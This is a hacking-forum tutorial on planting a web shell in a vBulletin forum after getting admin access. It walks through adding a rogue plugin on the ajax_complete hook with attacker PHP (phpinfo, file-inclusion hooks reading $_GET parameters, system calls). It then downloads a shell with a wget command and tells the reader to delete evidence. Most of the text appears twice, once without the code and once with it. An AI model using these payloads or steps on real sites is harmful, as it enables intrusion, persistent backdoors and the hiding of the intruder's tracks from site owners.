Hey guys, today I'm gonna be showing you how to get your shell uploaded on vBulletin forums. Once you have admin access (not sure about Founder), log into your admin panel.
Usually it's something like this..
If it's not, try /admin.
Once you're logged in, you should be presented with the oh so mighty vBulletin Admin Control Panel..
Spoiler (Click to View)
Now on the left, click plugins and products, and click on Add New Plugin.
Spoiler (Click to View)
It should take you to something that looks like this.
Spoiler (Click to View)
Product:vBulletin.
Hook Location: We're going to be executing remote code through the ajax plugin, so under Hook Location, click ajax_complete.
Title: .....whatever you want to name it.
Plugin PHP Code: This is where your code is going. First we want to check the disabled functions on the server. Let's see if we can get this PHP Info to show up...
Plugin is active: No
It should all look like this once you're done..
Spoiler (Click to View)
Now it should redirect you back to the plugins manager. If there's any plugins active under the ajax plugin, uncheck them and make sure yours is active. Scroll down and click "Save Active Status".
Should look something like this...
Spoiler (Click to View)
Now save it, and go to your ajax page.
Spoiler (Click to View)
Local File Inlcusion
allow_url_fopen = On
That means we can create a Local File Inclusion vulnerability.
Spoiler (Click to View)
Spoiler (Click to View)
Now you can poison logs, dig up juicy files, or use another method of LFI to get your shell up.
Remote File Inclusion
allow_url_include = Off
That means we can't create an RFI vulnerability until we get our shell up..
If we could, it would be almost the same thing as LFI.
Remote Code Execution
Now, if any of these are disabled, you're going to have some trouble. If not, we can get our shell up using unix commands.
That's a unix commands to list files, now see if it worked..
You should see all the files in the current directory.
Woot, site pwnt. Now you can use wget to get your shell uploaded..
Spoiler (Click to View)
Spoiler (Click to View)
Game, there you go. Now you can activate the default plugin and delete your evidence.
Shoutout to the rest of Team Intra and my boys in Zer0Lulz for making this possible.
Usually it's something like this..
Code
http://www.site.com/forum/admincp/If it's not, try /admin.
Once you're logged in, you should be presented with the oh so mighty vBulletin Admin Control Panel..
Spoiler (Click to View)
Now on the left, click plugins and products, and click on Add New Plugin.
Spoiler (Click to View)
It should take you to something that looks like this.
Spoiler (Click to View)
Product:vBulletin.
Hook Location: We're going to be executing remote code through the ajax plugin, so under Hook Location, click ajax_complete.
Title: .....whatever you want to name it.
Plugin PHP Code: This is where your code is going. First we want to check the disabled functions on the server. Let's see if we can get this PHP Info to show up...
Plugin is active: No
Code
phpinfo();It should all look like this once you're done..
Spoiler (Click to View)
Now it should redirect you back to the plugins manager. If there's any plugins active under the ajax plugin, uncheck them and make sure yours is active. Scroll down and click "Save Active Status".
Should look something like this...
Spoiler (Click to View)
Now save it, and go to your ajax page.
Code
http://www.site.com/forum/ajax.phpLocal File Inlcusion
allow_url_fopen = On
That means we can create a Local File Inclusion vulnerability.
Code
include($_GET[LFI])Code
http://www.site.com/forum/ajax.php?LFI=/proc/self/statusSpoiler (Click to View)
Now you can poison logs, dig up juicy files, or use another method of LFI to get your shell up.
Remote File Inclusion
allow_url_include = Off
That means we can't create an RFI vulnerability until we get our shell up..
If we could, it would be almost the same thing as LFI.
Code
include($_GET[RFI])Code
http://www.site.com/forum/ajax.php?RFI=http://www.site.com/shell.txt?Remote Code Execution
Now, if any of these are disabled, you're going to have some trouble. If not, we can get our shell up using unix commands.
Code
system
exec
shell_exec
passthruCode
system('ls');Code
http://www.site.com/forum/ajax.phpWoot, site pwnt. Now you can use wget to get your shell uploaded..
Code
system('wget http://www.site.com/shell.txt -O shell.php');Spoiler (Click to View)
Code
http://www.site.com/forum/shell.phpGame, there you go. Now you can activate the default plugin and delete your evidence.
Shoutout to the rest of Team Intra and my boys in Zer0Lulz for making this possible.



![[Image: 7M4Yh.jpg]](https://i.imgur.com/7M4Yh.jpg)
![[Image: U0fhw.jpg]](https://i.imgur.com/U0fhw.jpg)
![[Image: afSb0.jpg]](https://i.imgur.com/afSb0.jpg)
![[Image: 5SANe.jpg]](https://i.imgur.com/5SANe.jpg)
![[Image: Ct1BY.jpg]](https://i.imgur.com/Ct1BY.jpg)
![[Image: 5IUiP.jpg]](https://i.imgur.com/5IUiP.jpg)
![[Image: fbZNe.jpg]](https://i.imgur.com/fbZNe.jpg)
![[Image: yUSN1.jpg]](https://i.imgur.com/yUSN1.jpg)
![[Image: CM9yP.jpg]](https://i.imgur.com/CM9yP.jpg)
![[Image: sjNbp.jpg]](https://i.imgur.com/sjNbp.jpg)
![[Image: Rtkpf.png]](https://i.imgur.com/Rtkpf.png)

![[Image: wUM0U9C.png]](https://i.imgur.com/wUM0U9C.png)
![[Image: npafFhp.gif]](https://i.imgur.com/npafFhp.gif)